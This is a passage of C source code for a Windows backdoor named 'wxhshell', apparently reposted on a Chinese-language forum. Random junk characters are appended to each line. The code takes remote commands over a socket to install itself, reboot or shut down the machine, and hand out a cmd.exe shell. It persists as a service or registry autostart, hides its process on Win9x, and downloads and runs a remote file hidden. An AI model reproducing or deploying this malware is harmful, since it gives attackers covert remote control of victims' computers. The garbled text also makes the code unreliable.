      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^<qi&*  
    break; ~ +>e hU  
  } :s&dn%5N"  
  // 安装 <YtjE!2  
  case 'i': { SE43C %hv  
    if(Install()) SASLeGaV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oPF]]Imu  
    else GB^`A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `'^o45  
    break; iF MfBg  
    } ."=p\:^j*  
  // 卸载 r#2Fk &Z9  
  case 'r': { UKZ )Boo  
    if(Uninstall()) +&S6se4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V2`Ud[  
    else {:("oK6w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '2i !RT-  
    break; fqY'Uq$=  
    } )qw;KG0F  
  // 显示 wxhshell 所在路径 ?>7-a~*A@  
  case 'p': { ~Gz9pBv1  
    char svExeFile[MAX_PATH]; d23=WNn  
    strcpy(svExeFile,"\n\r"); @y~kQ5k  
      strcat(svExeFile,ExeFile); W+63B8)4  
        send(wsh,svExeFile,strlen(svExeFile),0); "O0xh_Nr  
    break; }zf!mlk  
    } G%: 3.:E"  
  // 重启 :>;F4gGVG  
  case 'b': { tE {M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d6'G 7'9  
    if(Boot(REBOOT)) %b<W]HwA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y8]@y0(  
    else { z)U7  
    closesocket(wsh); Vc;[0iB  
    ExitThread(0); ?#xm6oe#aH  
    } abT,"a\h  
    break; B+U:=591  
    } {9}CU~R  
  // 关机  jF0"AA  
  case 'd': { V0_tk"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6(d6Uwc`  
    if(Boot(SHUTDOWN)) ;J TY#)Bh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bI|G %  
    else { !|xB>d q?  
    closesocket(wsh); k:run2K  
    ExitThread(0); kl.;E{PL  
    } N;'c4=M~(  
    break; 2<I=xWwFA  
    } n.2:fk  
  // 获取shell 4k@n5JNa  
  case 's': { Fy Ih\  
    CmdShell(wsh); =3-?$  
    closesocket(wsh); r5S/lp+Y+N  
    ExitThread(0); FUI*nkZY  
    break; iLuC_.'u=  
  } 2vjkThh`I  
  // 退出  )^{}ov  
  case 'x': { 8R3{YJ6@T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fb]+h)on  
    CloseIt(wsh); 77O$^fG2  
    break; 7\2I>W  
    } ^_Hf}8H7]  
  // 离开 GT<oYrjU  
  case 'q': { ==m[t- 9x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D/."0 #q  
    closesocket(wsh); )&j`5sSXcr  
    WSACleanup(); "UMaZgI  
    exit(1); ]5f;Kz)  
    break; Uw.')ZY=  
        } &/WM:]^?0)  
  } CZ3oX#b  
  } ,7&\jET5^0  
JpfA+r  
  // 提示信息 !2Nk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C LaQE{  
} baII!ks  
  } KM?4J6jH  
c}qpmWF  
  return; $3HqVqF^R  
} /Pg)7Zn  
gA(npsUHI  
// shell模块句柄 dRJ ](Gw  
int CmdShell(SOCKET sock) d,(y$V+  
{ hI86WP9*  
STARTUPINFO si; F5Xb_&   
ZeroMemory(&si,sizeof(si)); |"SZpx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p<r<Y %  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lw9jk`7^  
PROCESS_INFORMATION ProcessInfo; \ =hg^j  
char cmdline[]="cmd"; D j9aTO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~][~aEat;V  
  return 0; YP02/*'  
} %[p*6&V  
{:gx*4}q8  
// 自身启动模式 #AGO~#aK  
int StartFromService(void) J=3{<Xl  
{ gFTU9k<  
typedef struct k _V+;&:%  
{ J -z.  
  DWORD ExitStatus; 9!n:hhJM  
  DWORD PebBaseAddress; 0vqH-)}  
  DWORD AffinityMask; $vXY"-k  
  DWORD BasePriority; ]vQa~}  
  ULONG UniqueProcessId; S5hc@^|0Z  
  ULONG InheritedFromUniqueProcessId; q0+N#$g#  
}   PROCESS_BASIC_INFORMATION; mw5>[  
:g|.x  
PROCNTQSIP NtQueryInformationProcess; b;QgL_w  
yf:0u_&]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1!1JT;gG^9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MM32\}Y6  
~%*l>GkP*  
  HANDLE             hProcess; jI8`trD  
  PROCESS_BASIC_INFORMATION pbi; gV@xu)l  
;&j'`tP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g&g:H H :  
  if(NULL == hInst ) return 0; bKS/T^UQ  
w@-G_-6W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KJT N"hF   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q<E7q Y+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /1LN\Eu  
lD$s, hp  
  if (!NtQueryInformationProcess) return 0; k$%{w\?Jf  
U[pHT _U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m%J?5rR3  
  if(!hProcess) return 0; LE}`rW3  
co\?SgE35  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -`q!mdA2  
H,KH}25  
  CloseHandle(hProcess); qOG@MR(5  
]xvhUv!G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b$H bo;_   
if(hProcess==NULL) return 0; 65zwi-  
|E K6txRb  
HMODULE hMod; ',hoe  
char procName[255]; 49E| f ^q  
unsigned long cbNeeded; {@KLN<  
ruagJS)+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kVtP~  
*P *.'XM  
  CloseHandle(hProcess); :c]y/lQmV  
g[i;>XyP  
if(strstr(procName,"services")) return 1; // 以服务启动 3\ajnd|  
%rs2{Q2k  
  return 0; // 注册表启动 uvl91~&G  
} E*)A!2rlK  
_\4r~=`HQ  
// 主模块 _~Od G  
int StartWxhshell(LPSTR lpCmdLine) aEdMZ+P.  
{ MkVv5C  
  SOCKET wsl; ^'Lp<YJs6  
BOOL val=TRUE; 6 p;Pf9 f  
  int port=0; ;0_T\{H"nR  
  struct sockaddr_in door; %pg)*>P h  
Z=-#{{bv  
  if(wscfg.ws_autoins) Install(); w#9.U7@.  
f|~'(~Sr  
port=atoi(lpCmdLine); =X'EDw  
;woK96"{t  
if(port<=0) port=wscfg.ws_port; 1Mq"f 7X8  
suQ`a_ zJ  
  WSADATA data; KUX6n(u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L' _%zO  
GAH<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @ ~{TL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f4<~_ZGr  
  door.sin_family = AF_INET; 7]u_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,FYA*}[  
  door.sin_port = htons(port); yT%<  t  
:6C R~p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oBai9 [+  
closesocket(wsl); XH0{|#hwN  
return 1; d+P<ce2 G  
} uF%N`e^S  
Nc6y]eGz  
  if(listen(wsl,2) == INVALID_SOCKET) { *C)m#[#:u  
closesocket(wsl); or ~@!  
return 1; 7g8\q@',  
} im>/$!&OyI  
  Wxhshell(wsl); `o_i+?E  
  WSACleanup(); i]zh8|">  
g0~m[[  
return 0; fm^tU0DY  
n}%_H4t  
} x2~fc  
78T;b7!-C  
// 以NT服务方式启动 !bK;/)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )jI4]6  
{ .h w(;  
DWORD   status = 0; QncjSaEE  
  DWORD   specificError = 0xfffffff; eG1A7n'6W  
[PrJf"Z "  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -[=@'N P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LUx'Dm"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T}p|_)&y  
  serviceStatus.dwWin32ExitCode     = 0; Rp zuSh  
  serviceStatus.dwServiceSpecificExitCode = 0; %,N-M]Jf  
  serviceStatus.dwCheckPoint       = 0; "}uu-5]3  
  serviceStatus.dwWaitHint       = 0; T?n[1%K  
P'5Lu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C>l (4*S  
  if (hServiceStatusHandle==0) return; 4`CO>Q  
M(^IRI-  
status = GetLastError(); qsN}KgTjg  
  if (status!=NO_ERROR) $43CNnf3N  
{ y}QqS/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M;-FW5O't  
    serviceStatus.dwCheckPoint       = 0; 10dK%/6/O  
    serviceStatus.dwWaitHint       = 0; MmfshnTN  
    serviceStatus.dwWin32ExitCode     = status; ;h~kB  
    serviceStatus.dwServiceSpecificExitCode = specificError; |c]L]PU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BH^cR<<j  
    return; }/xdHt  
  } k3 '5Ei  
\>/AF<2"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _}`y3"CD7  
  serviceStatus.dwCheckPoint       = 0; [eF|2:  
  serviceStatus.dwWaitHint       = 0; Y% [H:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &6Wim<*  
} jN+2+P%OL  
up3m um  
// 处理NT服务事件,比如:启动、停止 D1fUEHB}A8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )A;jBfr  
{ o5z&sRZ  
switch(fdwControl) v<} $d.&*  
{ &M\qVL%w  
case SERVICE_CONTROL_STOP: Wu?[1L:x  
  serviceStatus.dwWin32ExitCode = 0; h=cA]^:=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a'G[ !"  
  serviceStatus.dwCheckPoint   = 0; [/cJc%{N  
  serviceStatus.dwWaitHint     = 0; n<[H!4  
  { -fz(]d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {>&M:_`k  
  } 'xOH~RlE  
  return; :)Nk  
case SERVICE_CONTROL_PAUSE: t1l4mdp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gm\jboef]  
  break; {2&MyxV  
case SERVICE_CONTROL_CONTINUE: ^6 ,}*@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mc6W"  
  break; s[*I210  
case SERVICE_CONTROL_INTERROGATE: 3V/|"R2s  
  break; PPtJ/ }\  
}; ,S3uY6,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x A ZRl  
} apm,$Vvjy  
6;\Tps;A  
// 标准应用程序主函数 hcD.-(-;)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iEBxBsz_  
{ e]d\S] 5  
Q mz3GH@wg  
// 获取操作系统版本 Fo| rRI2  
OsIsNt=GetOsVer(); dC}4Er  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w >#.id[k  
zU>bT20x/  
  // 从命令行安装 8x6{[Tx   
  if(strpbrk(lpCmdLine,"iI")) Install(); Z@>WUw@ F  
+3;[1dpgf  
  // 下载执行文件 <d hBO  
if(wscfg.ws_downexe) { `XwKCI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g>Kh? (  
  WinExec(wscfg.ws_filenam,SW_HIDE); cNuBWLG  
} '~Gk{'Nx"  
{B\lk:"X  
if(!OsIsNt) { oth=#hfU^  
// 如果时win9x,隐藏进程并且设置为注册表启动 hrnY0  
HideProc(); V^p XbDRl  
StartWxhshell(lpCmdLine); q/\Hh9`  
} \E:l E/y  
else 2W`<P2IA  
  if(StartFromService()) QcDtZg\  
  // 以服务方式启动 }2_ i<4,L  
  StartServiceCtrlDispatcher(DispatchTable); y +c 3#  
else Os|F  
  // 普通方式启动 NIOWjhi[Jn  
  StartWxhshell(lpCmdLine); 4}=Z+tDu>  
d[Rs  
return 0; h`p9H2}0  
}
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只看该作者 1 发表于: 2006-10-10
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